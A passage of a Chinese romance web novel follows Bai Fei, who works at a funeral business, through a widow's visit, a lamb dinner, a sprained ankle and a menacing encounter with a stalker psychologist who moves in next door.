白绯把所有伤口都处理完后,满意地点了点头,把棉签扔在了地上,伸出手按在祝临川不住起伏的胸膛,把人推倒了在了床上。
她居高临下地看着祝临川,勾唇一笑道:“你成功了。”
屋里响起暧昧纠缠的水声…
二人胡闹了大半天才下楼。
小施很内疚,担忧地问道:“处理了这么长时间,是不是伤得严重?要不我们还是去医院看看吧?”
白绯心虚地看了祝临川一眼,就见这厮又恢复了之前道貌岸然的模样,一脸的清心寡欲。
祝临川已经达到了目的,自然也不再装柔弱,安抚小施道:“放心吧小施,皮外伤而已。”
白绯暗中吐槽,就冲他刚才生龙活虎那样,确实只是小伤。还没她咬祝临川锁骨的那口狠呢!
正尴尬时,小楼突然来了一名欢天喜地的客人,这可很罕见,白绯几乎怀疑她是不是来错了地方。
“你好,这里是安泰礼务殡仪公司。”白绯特意加重了读音,问道:“请问有什么需要的?”
来人年纪不大,约摸也就30出头,神情疲惫,身材略微臃肿,有些不修边幅,但仍能看出五官秀美。她走进小楼,对白绯道:“你好,我来购买寿衣和骨灰盒。”
那看来是
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没走错了地方了,只是为何会如此喜气洋洋。
陈安夏沉不住气,已经在背后偷偷嘟哝开了:“这人怎么回事,有人去世怎么还这么开心,还是不是人啊!”
小施猛地捂住她的嘴,估摸着女人应该没听见,才重重吁了口气。
既然有生意上门,白绯便收敛了神色,从抽屉里跳出基本册子,推到女人面前。
“寿衣和骨灰盒的款式都在这边,您挑一下,有选中的我们去给您拿。”
没想到女人却随意地挥挥手,道:“你就随便给我拿一套吧,我还赶着去学校接孩子放学。”
“那请问逝者是?”
女人掏出手机,翻出一张照片给白绯看:“就是我老公,长这样。你看着给他来一套吧。”
这下就连小施就忍不住了,吐槽道:“哇,一日夫妻百日恩呢,怎么死了老公还这么开心啊?”
白绯定睛一看,嚯,了不得,竟然还是个熟人。
站在他身边的祝临川显然也已经看到了。没错,这就是上次白绯在酒吧偶遇的精英男。
当时二人可是差点出去开房,要不是被祝临川截胡...
女人显然是听到了小施的话,当即毫不留情地反驳开了:“嘿,怎么地,就冲你们男人可以人生三大喜事,升官发财死老婆,不准我们女人也欢天喜地丧个偶?”
小施不善与人言辞,只辩白了几句:“但人家好歹还是你孩子的父亲...孩子没了爸爸,你就算为她考虑,也不该如此绝情吧?”
女人怒骂道:“呸,他根本不配做孩子的爸爸!从出生后就没有给我孩子换过一块尿布,连孩子几岁在哪里上学都说不出来!赚了钱就出去花天酒地,到处乱嫖,没有往家里拿过一分钱!”
她越说越气,然而眼睛里却有泪花:“我和他从高中相识,一路步入婚姻,最后也不过成了他嘴里的黄脸婆,在家发烧到40度也没人管,他倒好,出去嫖完小姐,还要对人家嘘寒问暖,劝人从良!那小姐被他哄得心花怒放,跟他诉苦,自己已经染上了不好的病,问他会不会嫌弃她?”
“哈~”女人嘲讽一笑,道:“这渣滓哪来的良心,吓得不行,踹开小姐就往医院跑。那小姐挨了打,还没拿到钱,怎么肯轻易放过他?二人拉扯的时候,他就这么摔下了楼梯,摔断了脖子!要我说啊,死得好!死得大大的好!我还愿意给他收尸,已经是看在往年情分,不然...不然...”
女人的泪终于掉了下来,也许是在为青春时的少年哭泣吧。
白绯四人面面相觑,显然没想到后面还有这样的缘由。
尤其是白绯,后背直起白毛汗。她可是差点睡了有妇之夫,而且这人还是个瓢虫,那得多脏啊!
陈安夏赶紧扶着人去沙发上坐下,小施也很愧疚,站在她身边一个劲地鞠躬道歉。
“对不起对不起,您看我,根本不知道事情原委就胡乱做圣母,您...您骂我吧!”
“骂你做什么!”女人终于平静下来,看了眼小施,道:“不怪你,一看就是还年轻。婚姻是座围城,等你们将来大了就知道了。好了不说了,我得回去陪我女儿了,东西拿来了吗?”
22. 灵魂汁子
白绯赶紧把挑好的东西递过去,女人大致翻看了下,就爽快地扫码付款走了。
陈安夏看着她离去的背影感叹道:“听说现在有性病的人越来越多了,我有个朋友在医院里面做医生,说好多来看性病的病人,都是那种年纪轻轻长得特别好看的,看来还是不能在外面胡来呀~”
白绯也心有余悸,低声嘟哝道:“难道只能为了我的妇科守妇道了吗?”
祝临川抿了抿嘴,俯身凑到她耳边,湿热的吐息让白绯忍不住耳朵发痒。
“我从来不和人乱来。我的每一次,都是和你。”
哦?
白绯有些惊讶,咬着他耳朵问道:“酒吧那晚,是你的初夜?”
祝临川冷冰冰的脸上漫上些红晕,却还是忍着羞耻点了点头。他伸出两根手指来牵白绯的衣角,轻声道:“所以你要对我负责。”
白绯心里很不以为然,祝临川不过是初尝情欲,所以对她有雏鸟情节罢了。等以后腻味了,自然也就跑了。
但眼下也没必要扫兴,便敷衍地伸手挠了挠他的掌心,回答:“好啊~”
祝临川哪里看不出白绯心中所想,心里沉了下来。
但是他有的是耐心,大不了就守着她,把一切试图接近她的男人都赶跑,不让白绯有任何机会沾上别的男人的香水味。
就在此时,白书远回来了。他喜气洋洋地招呼窝在前台的四人:“快过来帮忙!今天大家都有口福啦!”
小施眼前一亮,率先冲了出去:“白叔,你带什么好吃的回来啦?”
白书远从副驾提溜出两个巨大的保温袋,交给陈安夏和小施:“给咱们供应墓碑的来师傅从宁夏带来一头正宗的盐池滩羊,分给咱们一个卤羊头,五斤羊肉还有十斤羊脊骨,都做好了,还热着呢!”
“哇!”小施双眼放光,“盐池滩羊,那可是咱们国家国宴用羊啊!四舍五入我们这也算是吃上国宴了!”
众人欢呼一声上了楼,周芸正在餐厅准备做饭,白书远赶紧过去搂着她肩膀把她扶到餐桌边桌下:“老婆辛苦啦,今天不用做菜,来来,快坐下,我带了羊肉,你来尝尝。”
大家端来盘子把保温盒里的东西装盘,摆了满满一圆桌。只是这帮南方人看着盘子里一整个的羊头都犯了难。
“这羊头该怎么吃呀?”小施上下打量着桌上完整的羊头搓了搓胳膊,“一整个看着还怪瘆人的嘞…”
“总觉得小羊下一秒就要跳起来,把我们都摁桌上杀了,边杀边质问,羊羊那么可爱,为什么要吃羊羊…”白绯捧着脸,和死不瞑目的羊羊四目相对。
好了,这下真不敢吃了。
陈安夏不愧是网络达人,掏出手机示意众人看:“我关注了一个博主,天天看他吃羊头,你们看…”
大家围过去,就见博主在烧杯里放上满口香椒盐,再浇上滚烫的菜籽油,最后再拌点醋,随着一声“灵魂汁子,浇给”,滚烫的料汁浇在羊脸上,之后博主就扯着羊脸皮开吃了…
别说,吃得还挺香。
“要不,咱们也给它撕个片?”白书远提议道。
“那我去准备料汁。”周芸又去了厨房,白书远跟去帮忙了。
祝临川自告奋勇:“我来吧。”
他去厨房洗了手,然后戴上一副一次性手套,右手拿了一把剔骨刀就开始下手。只见他左手稳稳按住羊头,刀尖顺着羊的下颌骨钻进骨头与皮肉的缝隙间游走,手腕灵活转动,眨眼间,整张羊脸就被干净利落化开。
紧接着刀尖方向一转,狠狠插进了羊眼眶。
安夏没忍住抖了抖,颤巍巍地捂住了眼睛,从手指缝隙里惊恐地看着祝临川。
祝临川毫无所觉,专注下刀,切断了羊眼与颅骨相连的肌肉。他伸出手指插进眼眶,将羊眼球完整地抠出来,捏在手里左右翻看了一下,满意地点点头:“看来这只羊确实是新鲜宰杀的,不是冰冻羊。”
小施和陈安夏两人都挪到了白绯背后,从她肩膀后露出四只饱含恐惧的眼睛。
祝临川手下一个用力,整个羊头骨就已经被取了下来,整齐地摆在了另一边。他轻轻摸了摸布满裂痕的颅骨,给羊的死因下了判断:“颅骨粉碎性骨折。”
他的手指下移调整了下上颌骨的位置,摸到鼻骨后顿了顿,轻声感叹了一句:“想不到羊的鼻骨竟然全都是软骨…”
祝临川似乎还有些意犹未尽,眼神又瞄上了另一盘的脊骨,手指摸到椎间盘和椎间孔的位置,用力一掐,就将脊骨分离,还完整地取出了里面的骨髓。
眼见他准备给整盘羊蝎子下手,白绯赶紧叫停了他:“可以了可以了,剩下的我们自己来吧!”
祝临川竟然还有些遗憾。
白书远和周芸端着料汁和生洋葱回来,就见到白绯三人和祝临川隔着桌子对峙,惊讶道:“安夏,小施,你俩猫绯绯背后做什么?”
“哟,这羊骨头脱得可真完整,临川,不愧是高材生啊!”周芸放下料碟,看了眼桌上的头骨夸赞道。
白绯把小施和安夏从背后拖出来,催促道:“好啦,都别愣着了,趁热吃。临川啊~”她边伸筷子夹了片肉,边语重心长地祝福祝临川:“工作中的习惯带到饭桌上倒没什么,可千万别把饭桌上的习惯带到工作中去啊!”
安夏悄悄问小施:“小施,临川是什么工作啊?”
小施回答:“是法医专业的学生。”
二人顺着白绯的话想了想,没忍住一阵恶寒。
还让不让人好好吃饭了!
酒足饭饱过后,其他人都去房间休息消食去了,只有白绯又缠着祝临川给他做了杯手打柠檬茶。
自从她得知祝临川几乎什么都会后,就又干脆给小楼进货了不少料理工具。正好吃完羊肉有点腻得慌,喝杯柠檬茶溜溜缝。
白绯托腮欣赏着祝临川拿着捣棒框框砸着杯里的
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柠檬片,手臂肌肉随着捣压的动作起伏,青筋凸起,赏心悦目。
白绯小脸通黄,接过祝临川递来的柠檬茶嗦了一口,冰爽酸甜,一口入魂。
她满足地叹了口气,余光瞥见角落里落灰的体重秤,想着确实有一阵子没有称体重了,便信步站了上去。
紧跟着,从她口中发出一声尖锐的爆鸣。
“怎么了怎么了?”在告别室遗体瞻仰台上安详躺着的小施被吓了一跳,他最近腰痛复发,嫌休息室的床和大厅的沙发软,摸来摸去只有瞻仰台硬邦邦的床板最舒服,就带着自己的小毯子去那儿休息了。
他拽着自己的小被子一个鲤鱼打挺窜了起来,就见白绯满脸不可置信的表情,把手里的饮料重重放回了前台桌上,重又站回了体重秤上。
面对各色尸体都能面不改色的白绯,被一具小小的体重秤打败了,捂着眼睛不敢再看。
“我竟然胖了!”她哀嚎道,并在祝临川靠近的时候眼疾手快一抬脚踩住了数字显示屏。
她用眼神威慑祝临川不许靠近,嘴里嘟囔道:“不应该啊,我最近忙得脚不沾地,怎么还胖了?不对,一定是这秤太久没用坏了。”
她下了秤,招呼小施过来:“小施,你来称一下看看。”
“诶,来了~”小施屁颠颠地从告别室出来,站在了体重秤上,然后在白绯期待的注视中回道:“哇,我竟然瘦了两斤也~”
这!不!可!能!
白绯面目狰狞,把祝临川拽过来押着他也上了称。
祝临川瞟了一眼称上的数字,信誓旦旦道:“不对,我昨天才在学校称过体重,足足重了五斤,这称肯定坏了。”
“真的?”白绯狐疑地看着他。
祝临川眨巴着无辜的大眼睛,诚恳道:“我什么时候骗过你?”他一把捂住小施的嘴,把人撵回了告别室关上房门,对白绯道:“称肯定坏了,你明明都瘦了,我还能不知道吗?”
说着还红了脸,欲语还休地想要来拉她的手。
白绯此时却没这个心情,嘟囔着:“也许是因为刚吃饱,等我明天早上空腹再称一次。”
这下她柠檬茶也没心思喝了,掏出手机开始狂戳:“保险起见,还是再买两个秤吧,哪个轻,信哪个。”
白绯直接在网上下单了当日达,很快,快递小哥就送来了。有机械秤、体脂秤、电子秤,甚至还有一个菜市场常见的大台秤。
她特意挑了第二天一大早,去厕所清空了肚子,之后还脱掉了身上的衣服,信心满满地开始上秤。然而事实给了她一个暴击,依然是昨天的数字,甚至连一两都没轻!
白绯看了眼自己只穿着一条小内裤的身体,面部狰狞地无声抓狂了一会儿,最后选择了摘掉后脑勺的鲨鱼夹。
数字减轻了0.01。
白绯哀嚎着趴回了床上,不动了。
就在这时,房门被敲响,是祝临川的声音。
23. 骗人的嘴
“进…”白绯把头埋在枕头里,有气无力地回答道。
于是当祝临川打开房门后,看到的就是这么一幅让人血脉偾张的画面。
白绯裸着上身趴在床上,灿烂的阳光从纱帘中漏进来,照在她如牛奶般水嫩的肌肤上。脊椎骨节节分明,肩胛骨如振翅欲飞的蝴蝶。她的后腰有两个很深的腰窝,臀部挺翘,穿着一条黑色蕾丝内裤,底下是两条笔直纤细的长腿。但祝临川知道,当那两条长腿夹着自己腰的时候有多销魂。
他合上门,走进去在床边坐下,将白绯凌乱搭在后背的长发轻轻拾起,放在枕头上,然后双手按住她的肩颈开始揉捏。
白绯舒服地呻吟了一声,偏过头露出泛红的眼尾,控诉道:“你骗我,我就是胖了…”
祝临川失笑,安慰她道:“你之前是太瘦了,现在胖一点更好看。”
“真的吗?”白绯委委屈屈抽噎了一声,看来真的被打击得不轻。
“当然。”祝临川的手一路向下,停在尾椎,俯身亲吻了可爱的臀尖一口,“你从头到脚都很完美。”
白绯心里好受了些,但理智尚存:“不行,我还是得减肥。”
祝临川沉吟了一会儿,道:“那我带你去打篮球吧。”
“行!”
白绯执行力爆表,一下子就从床上蹦起来开始穿衣服。
祝临川遗憾地捻了捻指腹,看着那身雪肤逐渐被衣服覆盖,试图最后再抢救一下:“其实我听说,床上运动也是非常有效的减肥方式…”
话还没说完,就被白绯按着肩膀居高临下吻了上来。祝临川反手扣住白绯的后脑,将她往自己怀里搂,试图加深这个吻,却被她无情地捧着脸推开了。
“好了好了…”白绯的呼吸还有些喘,被亲吻过后的唇带着水渍,“靠这个减肥,你也不怕自己肾虚死在床上。啧啧啧,小童工,你这思想可不行啊~”
她不顾祝临川的挽留下了床,催促道:“走吧,正好我也活动活动筋骨。”
眼看着她去意已决,祝临川只好无奈地下了床。
他们二人开车去了附近一个体育馆,正投篮呢,门口就乌泱泱又进来一波人。白绯闻声回头一看,吃了一惊,里面可还有个熟人呢~
瞧那熟悉的倒三角身材和三白眼,不是顾怜心那姘头陈昊嘛!
陈昊手里拿着个篮球在转,正大声和边上的人吹牛。
“我老婆已经怀孕了,老子我马上就要升级做爹了!”
边上有人羡慕地感叹:“阿昊你命可真好,老婆长得漂亮又有钱,最近还给你买了个奔驰吧?”
“昊哥,嫂子身边还有没有富婆啊,我也不想努力了。也不用跟嫂子那么漂亮,只要有钱就成!”
一大帮子体育生笑成一团,陈昊如众星捧月般被围在中间,神情很是得意。
又有人感叹:“现在养孩子可不容易啊,昊哥,你还是个大学生,这么快就要孩子,会不会压力很大啊?”
陈昊混不在意地摆摆手,道:“放心吧,有人替我养,老子不用出一分钱。”
“哇,谁啊?”
“就是,我可不信,谁还能这么好替你养孩子啊?”
“还能有谁,估计是嫂子的父母吧?要不就是阿昊的父母,不然还能有谁这么好心,你当做慈善啊?”
陈昊眼神闪烁,转移话题道:“行了,别聊这个了,还打不打球了?”
一帮人簇拥着去了另一边的篮筐。
白绯余光留意着他们的动向,一个没留神,脚下绊了一跤。
“嘶…”她当即痛呼出声,心道这就是听八卦的报应吗?
祝临川扔掉篮球大跨步赶了过来,蹲下身扶着白绯的脚踝一看,果然已经红肿了。
“我带你去医院看看。”他二话不说,沉着脸手往白绯膝弯一抄,直接将人抱了起来。
“没事,估计只是扭伤,回去冷敷下喷点药油就好。”白绯却还惦记着没听完的八卦,眼神依然直往后头飘。
“不行,还是去医院看一看放心。”祝临川却执拗得很。他眉头紧紧皱着,眼看着白绯还想挣扎,终于垂眸盯着她,嘴里委屈道:“你就那么喜欢那个男人?他有哪一点比我强?”
白绯被他说得懵了:“什么?什么男人?”
眼看着听话乖巧的小奶狗眼底都聚起了泪花,白绯才反应过来。
不是吧不是吧?祝临川该不会以为她对陈昊有意思吧?
她哭笑不得,凑到祝临川耳边把事情说了个大概。
祝临川意识到原来是自己闹了乌龙,有些不好意思,紧了紧抱着白绯的手,把她放到了副驾上。
他才不在乎这是什么顾怜心顾怜花的姘头,只要不是白绯的姘头就行。
“那我们也还是去医院看看比较好。”他干咳一声,固执地踩下油门向医院驶去。
白绯兀自拧着眉沉思。她有种直觉,顾怜心肚子里的孩子很可能就是陈昊的,而且没准他们还打着让罗峻辉养孩子的主意!
哇,这可真是一场好戏了,她几乎迫不及待等着它开幕了!
她掏出手机联系陆寻,询问他最近有没有什么新消息。还有罗峻辉,估计他也快反应过来自己上套了。
想到这里,她就忍不住偷偷乐了起来。
由于到得晚,医生都走得差不多了。祝临川便带着白绯去了急诊。
急诊科忙成一团,祝临川取了号后就和白绯乖巧等在后面排队。
眼看着急诊科大夫衣角带风走了进来,一个个处理起病情。
“接ICU。喂,这里急诊,有个病人要转ICU。多大?嗯,80后。能不能动?能动。我说话你们还不放心吗?”
白绯和祝临川看着病床上只有眼珠子能动的老头子,惊讶地张大了嘴
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最后终于轮到白绯,医生一看她的脚踝,摸了摸,眉梢一挑,责怪道:“这么点小伤,来晚点自己都好了。你们小情侣要玩什么生死play,也别浪费医务资源嘛,自个儿找点药酒揉揉就行了。”
祝临川仍有点不放心:“医生,确定骨头没事吗?”
大夫翻了个白眼:“放心吧,骨头有事她就没现在这么悠闲了。”
白绯伸出手,指指那个等着转icu的老头,谴责道:“医生,我们能相信您吗?”
医生意识到对方围观了自己诓骗icu的全程,心虚地干咳一声,道:“你又不是icu,我骗你做什么。这86岁,不就是80后吗?”
他嘀嘀咕咕道:“咱们急诊科就是这么骗人的啊,谁不知道急诊科的电话除了你好,其他一个字都不能信…”
既然医生都放话了,祝临川便也放下心来。他让白绯坐在凳子上等着,自己先出去取车。
白绯百无聊赖地坐在椅子上围观来来去去的医生病人,结果没想到,竟然又遇到个她非常不想见的人。
是叙白。
自那日展览馆一别后,叙白很是老实了几天,没有再来小楼骚扰白绯。
今天他似乎是跟着救护车来的,半边衬衣上布满了新鲜的血迹,就连脸上都是,愈发显得诡谲。
担架上的病人一从救护车上下来,就被医生护士紧急拉走直奔抢救室,留下哭天喊地的家属在外面。
“我的宝贝女儿啊!你怎么这么傻,好好地为什么要寻短见啊!”
中年女人已经哭得快瘫在了地上,腿软得根本站不起来。叙白一直在她身边搀扶着她,温声细语说着什么,瞧着还挺医者仁心。
很快,又有一个男人风尘仆仆地从门外赶了过来。他含着泪从叙白手里接过快哭撅过去的女人,感激道:“谢谢您,叙医生。要不是您及时发现,只怕…只怕…”
男子脸色苍白,嘴唇不住地颤抖,显然也受到了极大的惊吓。
叙白温和地安抚着他们,和他们一起朝急救室的方向走去。
白绯躲在一张病床的帘子后面探出脑袋偷看,心想,似乎是叙白的病人想不开自杀了?不过他是心理医生,手下病人出现这样的情况也不奇怪。
只不过对于他这样的人能做心理医生,白绯实在是不能认同,毕竟叙医生自己看起来就病得不轻。
不过她也懒得管他,趁人走没影了,扒拉着墙站起来就准备往外走。
还是去外面等祝临川吧,别一会儿又和那个疯子医生遇上了。
白绯扶着墙,蹦蹦跳跳地往外蹦哒,结果不知哪个缺德的在地上洒了一滩水,白绯一个没留神蹦上去,哧溜一声,当即就要仰天摔在地上。
就在这危急时刻,一双手揽住了她的腰,将她稳稳抱在了怀里。
随之而来的,还有新鲜浓稠的血腥气。
24. 阴魂不散
紧贴在背后的胸膛随着轻笑声起伏,区别于祝临川清爽又阳光的气息,只带给白绯湿冷粘稠的不适感。
“看来我们很有缘啊。”湿热的吐息在耳边响起,像阴冷的蛇信舔舐她的耳廓。
白绯的回答是直接曲肘给了他一下子,头也不回地冷嗤道:“孽缘吗?”
“唔...”叙白闷哼出声,在重击下后退一步。白绯趁此机会挣脱了他的束缚,扶着墙站稳,转身警惕地看着眼前的疯子。
她余光扫了身上一眼,白色的蕾丝吊带和浅蓝色破洞牛仔裤因为这短暂的接触已经被染上了星点的血迹,后背看不见的地方只怕更多。
“啧...”白绯不爽地轻啧一声,看着叙白的眼神更是不善。
早知道就待在家里做床上运动了,崴了脚不说,还碰上这个瘟神,下次出门一定先看黄历。
叙白捂着胸口可怜巴巴地控诉,眼底却分明跳动着邪恶的光:“被偏爱的都有恃无恐,仗着我喜欢你,总是伤我的心。我好心救你,连声谢谢也不配得到吗?”
白绯气极反笑,诚恳道:“你喜欢我哪里,我现在就改好吗,求求你,别喜欢我了。”
叙白情深似海般痴痴注视着她:“我喜欢你的全部,从第一眼看见你,我就坠入爱河了。你喜欢什么样的呢,我可以为你变成任何样子。”
白绯恶毒回道:“我喜欢你躺在停尸床上的样子。”
她幻想了一百种叙白听到这个回答后可能会有的反应,但绝不是眼前这种。
只见他白皙的俊脸上漫上可疑的红晕,风流的桃花眼中水光潋滟,看着比方才真情实感多了:“更爱你了。”
白绯:…妈的,还是低估了这个变态。
二人满身的血渍,又都是出挑的长相,大庭广众之下又是搂抱又是对峙,浑身充满了八卦的香气,早已吸引了候诊大厅吃瓜群众的目光。
“这俩小年轻怎么回事?怎么满身的血?”
“好像是女的嫌弃男的,男的闹自杀了!你瞅这血赤呼啦的!”
“哎哟,这么俊的男孩子都看不上吗?”
“男人不坏,女人不爱,这孩子看着就乖,斗不过那些会来事的黄毛吧。唉,要不是我都快到绝经的年纪了,有心无力…”
“嘘,小声点我的老闺蜜,你家老头子胡子都快吹飞了!”
白绯听得嘴角抽搐,这都是什么啊!老姐姐们,拜托三观不要只跟着五官跑好吗?
她不欲再与叙白多做纠缠,转身就扶着墙,一瘸一拐地往外走。
叙白却不愿意轻易放过她,三两步就赶上了瘸腿的白绯。
他嘴角挂着若有似无的笑意,直勾勾地盯着白绯的侧脸。
由于方才的接触,白绯霜白的脸侧也沾上了一抹血色痕迹,粘稠的血珠顺着她线条完美的下颌淌下脖颈,最终停留在鼓动的颈动脉处。
叙白的心跳开始加速,呼吸变得急促,一种难以抑制的兴奋从心底涌上来,让他的灵魂都为之战栗。又来了,这种欲望被点燃的感觉,就连亲眼看着妙龄少女割断自己的血管的刺激都无法与之比拟。
白绯一直防备着这人,果然在走到一处拐角后,被叙白邪笑着摁住肩膀,猛地推进了无人的走廊。防火门砰地一声关上,将人声鼎沸隔绝在外。她心道不好,掏出手机就想求救,还没打开就被叙白三两下劈手抢走。
叙白对着白绯的脸解锁了手机,单手禁锢着她的肩膀,另一手开始摁键盘。无人处,他终于撕下了面具,露出了野兽狰狞的獠牙。
“上回你不告而别,留下我一个人在展厅,真的太过分了。”
白绯踮脚伸手去夺手机,嘴里嘲讽道:“过分吗?我还以为你就喜欢被这么对待呢~放置play玩得爽吗?可惜上次没什么观众,人越多,露出才越刺激,我说的对不对,变态?”
叙白举高了手避开她的抢夺,沉吟片刻后竟然认可了:“确实是全新的体验,我果然没看错你。”
白绯:...妈的失策,竟然还真让这变态爽到了。
“白绯,做我的主人好吗?从第一眼看见你,我就知道,我们才是一路人,世人庸俗下贱,何必与他们同流合污?那个祝临川根本配不上你。”
“有病就去治,别再耽搁了好吗?我真为你的病人感到担忧,你这种精神状态,真能替别人治疗心理疾病吗?刚才送来医院的小姑娘,就是被你治死的吧?”
她原本只是故意出口恶心叙白,没想到这人却没有反驳,一双黑沉沉的眼睛只定定地注视着她,把她看得心下一个咯噔。
不是吧?白绯只觉得后背发凉,浑身汗毛直竖,不会真有猫腻吧?
叙白勾起唇角懒懒一笑,意味深长道:“怎么会呢?你想多了。”
白绯:...这要是没鬼,才是有鬼!
“在想什么?”叙白把白绯的手机滑进自己裤兜,另一手来掐她的下巴,强迫她抬头与自己对视,语气邪恶:“世人都畏惧死亡,但我想你应该理解它的美妙才对。一切丑恶的欲望都会随着生命的消逝静止,活人的血原本就是肮脏的,她摆脱了生而为人的痛苦,难道我们不该为她感到高兴吗?”
“那你怎么不自己去死?”白绯冷冷回视,双眸中带着愤怒与轻视。
叙白着迷般看着她,语调轻慢缓如恶魔:“因为我无法割舍亲眼目睹死亡的震撼,仅仅一次又如何能满足?你曾无数次注视死亡,告诉我,血肉腐败的过程是不是很美,你喜欢死亡在□□上开出的最后一朵花吗?”
话音未落,唇就盖了下来,舔上了白绯的侧脸,带着不容拒绝的侵略性,犹如深渊里择人欲噬的野兽。
叙白将她脸上的血迹咽下喉咙,满意地看着那片濡湿,嗓音沙哑,带着遗憾道:“血还是太少了…”
只是沾了这么点哪里够,就该让她泡在血水里。
白绯双手抵在叙白胸前,玩命挣扎,还是被他堵住了唇。她呼吸一窒,立刻就狠狠咬了下去。
她这一口完全没有留情,唇舌间立刻就尝到了血腥味。叙白闷哼一声被迫退开,鲜血顺着他的下巴缓缓流下。他用拇指轻轻擦过唇上的血迹,目光灼灼地盯着白绯,眼中满是势在必得。
“喜欢我的血吗?喜欢就再尝尝。”
眼看着他又要俯身靠近,就在这时,一阵电话铃声响起,打断了叙白的动作。
叙白皱了皱眉,松开钳制着白绯的手,从口袋里掏
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出手机。白绯趁此机会把手伸进他另一个口袋里,抓出自己的手机就走。
她恨恨地用手背抹了抹唇,无声地呸了一口。叙白没有再追上来,只是站在原地扬声道:“白绯,一会儿见。”
呸,谁他妈要和你一会儿见,最好下辈子都别见。
白绯走得头也不回,她能感觉到背后的注视如附骨之蛆,直到她推开防火门走入人群之中。
大厅里,刚才见到的那对中年夫妻正站在中央,丈夫拿着手机四处张望,妻子脱力般靠在他肩头。
白绯看到他们后,原本冲着大门去的脚步掉转,直奔二人而去。
她也不管人家诧异和防备的表情,自顾自说道:“你们女儿的自杀可能与叙白有关,别让他再靠近了。”
说完后扭头就走,只留下夫妻二人面面相觑。白绯自认不是什么热心肠的好人,如此也算尽了提醒的义务,至于他们信不信,要怎么做,都是他们自己的选择。
她一路扶着路边的护栏往停车场出口的方向走去,正巧遇到了把车开出地库的祝临川。
祝临川隔着挡风玻璃一眼就看到了她的身影,脸色瞬间凝重,拉开车门就跑了过来,猛地扶住她的肩膀来回打量,用力之大甚至让白绯痛呼出声。
待发现这些血迹并不是白绯自己的血后,祝临川阴沉的脸色才缓和过来,他放松了手下的力道,扶着白绯的肩膀往车的方向走:“怎么回事?身上怎么这么多血?”
白绯有气无力地摆摆手:“别提了,遇到了个疯子。我们回去吧。”
她被祝临川扶进副驾坐好,却见祝临川阴沉着一张脸扭头又要往医院走,赶紧扯住他的衣摆问道:“不是回家吗?你干嘛去?”
祝临川一脸的风雨欲来:“找那个疯子算账。”
白绯哭笑不得:“你知道疯子是哪个?”
“浑身都是血的那个。”
还挺聪明。
“好了小童工,从前怎么没发现你这么睚眦必报?医院里血葫芦多了去了,你找哪个去?”白绯安抚地拍拍他肌肉紧绷的胳膊,因为手感太好顺手又摸了摸,放软了声音撒娇道:“我脚踝还疼着呢,快去买药油,然后给我揉揉,好吗?”
祝临川哪受得了白绯这样,当即就放柔了神色,开上车载着她去了药店,然后带她回了小楼。
一路上,白绯都显得魂不守舍,不断地通过后视镜朝车后打量。离开前,叙白的那句“一会儿见”一直萦绕在她心头,让她很是不安。
她自嘲地笑笑,安抚自己别在疑神疑鬼。她拿出手机解锁后开始检查,也不知叙白当时在里面捣鼓了些什么。
一通查找后才发现,微信里多了个好友,备注是“你最乖的狗”,后面还有一个爱心。
白绯一脸嫌弃地看着叙白的头像,上面是他自己的半身照,西装革履风流倜傥,犹如一个金牌销售,与这个备注实在是十分割裂。
她正准备对他拉黑删除一条龙时,祝临川却突然低低咦了一声。
原来他也注意到了白绯的异常,因而一直注意着后视镜。因此,他很快就注意到了突然出现在自己车后的那辆熟悉的路虎。
是叙白,他竟然跟过来了。
25. 新邻居
果然,手机里传来叮一声,是叙白的微信消息。
“怎么在我的客户面前说坏话,害我解释了好久。”
“身正不怕影子斜。”白绯咬牙切齿地戳着手机,质问道:“你跟着我们做什么?”
后视镜里,可以看见叙白欠欠地笑了一声,把手机凑到嘴边张嘴说了什么。
白绯点开那条语音,果然就听到他吊儿郎当的回答:“这真是冤枉,我可没跟着你,只是正常回家而已。”
回家?这附近荒无人烟,除了他们的小楼,只有对面王叔家的别墅,他们早年全家移民出国,房子也已空置。叙白这是回的哪门子家?
还不待白绯多想,祝临川已经靠边停下了车。二人坐在车里眼睁睁看着叙白的车慢腾腾地越过他们,然后开进了小楼对面的别墅。
白绯:...现在搬家还来得及吗?
祝临川深沉地目视前方,眉眼间风雨欲来。
叙白下车后懒懒地倚在车门边冲他们看来,浑身浴血的模样仿佛从坟墓里爬出的恶鬼。他骚包地微微探出舌尖舔了舔唇上的破口,意味深长地勾起嘴角笑了笑,甩上车门进了别墅。
祝临川瞳孔紧缩,双手握紧了掌中的方向盘,目眦欲裂。叙白这副模样让他恍然大悟,方才白绯遇到的疯子除了他还能有谁?他们之间究竟是发生了什么,才会浑身上下都是血?叙白,叙白,叙白!你明明要什么有什么,为什么还非要和我抢?
白绯并没有注意到祝临川的异常,她隔着挡风玻璃目睹了叙白的挑衅,只觉得牙痒得很。
“真是阴魂不散。”白绯低声骂了几句,目不斜视地拍拍祝临川的胳膊,示意他继续开车:“走吧,我们回家。”
这句话有效地安抚了祝临川的情绪。他将心中咆哮的野兽压下,再度恢复了那个乖巧斯文的模样。
“好。”
车子开回了小楼,在院子里停稳。白绯打开车门正准备单脚跳下车,却被祝临川抢先打横抱在了怀里。
正在前台玩游戏的安夏和在一边围观的小施听到动静往外看,看到白绯浑身是血地被祝临川公主抱在怀里,吓了一大跳,扔下鼠标就大呼小叫地围了过来。
这动静把正在二楼房间休息的白书远也引了出来,他看到白绯这副模样,当即脸都吓白了。
白绯赶紧和他们解释,知道她没有受伤后才都松了口气。
白书远腿软地瘫坐在沙发上倒气,还有些没缓过来:“没事就好,没事就好,爸爸差点连遗书怎么写都想好了…”
白绯心里很是内疚,握着白书远的手和他道歉:“爸,对不起,是我考虑不周…”
白书远却反过来安抚地冲她笑笑:“说什么胡话呢,只要你平安就好,其他一切都不重要。”
白绯从来不知道,原来父母可以对孩子如此地溺爱。毕竟,她从小就被遗弃,一直自嘲是个没人要的小垃圾,对这样浓烈的爱感到十分陌生。难道是老天可怜她,才给了她这次穿书的机会吗?
“对了,那女孩子后来抢救回来了吗?”白书远缓过来后,拧着眉头问道。
白绯摇摇头,回道:“不清楚,我走的时候还在抢救室。”
“唉…”白书远悠悠叹了口气,对在座的几人道:“叔叔年长你们几十岁,你们可千万记着,无论遇到多大的困难,都不要轻易放弃自己的生命。没什么事是过不去的,大不了就摆烂,生活里总有让你感到快乐的事,好吃的点心,漂亮的衣服,精彩的电影,凉爽的天气,不要执着于让你痛苦的部分,心情不好就去花钱,出去走走,玩玩。”
几人都郑重地点点头。
“对了爸,对面王叔那栋别墅...”
